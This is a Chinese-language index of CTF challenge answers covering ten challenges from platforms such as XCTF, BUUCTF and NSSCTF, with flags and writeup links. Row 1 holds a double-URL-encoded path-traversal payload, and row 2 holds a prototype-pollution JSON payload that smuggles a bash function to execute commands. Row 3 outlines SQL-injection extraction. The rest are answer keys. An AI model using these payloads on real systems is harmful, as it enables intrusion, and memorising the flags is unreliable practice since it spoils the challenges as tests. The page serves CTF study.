[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | XCTF | Web | warmup | [HCTF 2018]WarmUp 1的解题答案为构造包含flag文件的payload：?file=hint.php%253f../../../../../ffffllllaaaagggg，通过双重URL编码绕过白名单校验，利用urldecode解码后的问号截断实现路径穿越 1 2。验证后的完整直接访问链接为：https://blog.csdn.net/2301_79896143/article/details/148374116 | https://cloud.tencent.com/developer/a... | HCTF | 9258 |
| 2 | BUUCTF | Web | [DASCTF X 0psu3十一月挑战赛｜越艰巨·越狂热]realrce | {"msg":{"name":"%ff","age":25,"city":"Example City","proto":{"cmd_rce":"env $'BASH_FUNC_echo%%=() { id;}' bash -c 'echo 123'"}}} | https://xilitter.github.io/2023/12/06... | DASCTF X 0psu3十一月挑战赛｜越艰巨·越狂热 | 6331 |
| 3 | XCTF | Web | upload | RCTF2021 upload题目答案通过SQL注入获取数据库信息及flag，解题过程涉及hex()、substr()、conv()函数的使用，分步骤提取数据库名、表名、列名及最终flag值 1 2 | ... | RCTF2021 | 9291 |
| 4 | BUUCTF | Reverse | [FlareOn6]Snake | flag{NARPAS-SWORD@FLARE-ON.COM} | https://blog.csdn.net/m0_73644864/art... | FlareOn6 | 6679 |
| 5 | bugku | MISC | what_do_you_recognize_me_by | moectf{You_r4c0gnize_%e!} | https://www.nssctf.cn/problem/3312 | moeCTF2022 | 1218 |
| 6 | NSSCTF | MISC | [NCTF 2022]zystego | NCTF{HearthStone_C0de_S000_FunnY_ri9ht?} | https://www.cnblogs.com/zysgmzb/p/169... | NCTF | 12165 |
| 7 | NSSCTF | PWN | [CISCN 2021 初赛]pwny | 无 | https://blog.csdn.net/yongbaoii/artic... | CISCN | 12102 |
| 8 | BUUCTF | Crypto | [DASCTF X GFCTF 2022十月挑战赛！]RSA | 无 | https://luiino.github.io/2022/11/05/D... | DASCTF X GFCTF 2022十月挑战赛！ | 6412 |
| 9 | qsnctf | MISC | screenshot | palu{loveyouibiejv} | https://blog.csdn.net/2303_80857229/a... | 第二届“Parloo”CTF应急响应挑战赛 | 5416 |
| 10 | BUUCTF | Misc | [NewStarCTF 2023 公开赛道]隐秘的图片 | flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53} | https://blog.csdn.net/Myon5/article/d... | NewStarCTF 2023 公开赛道 | 7171 |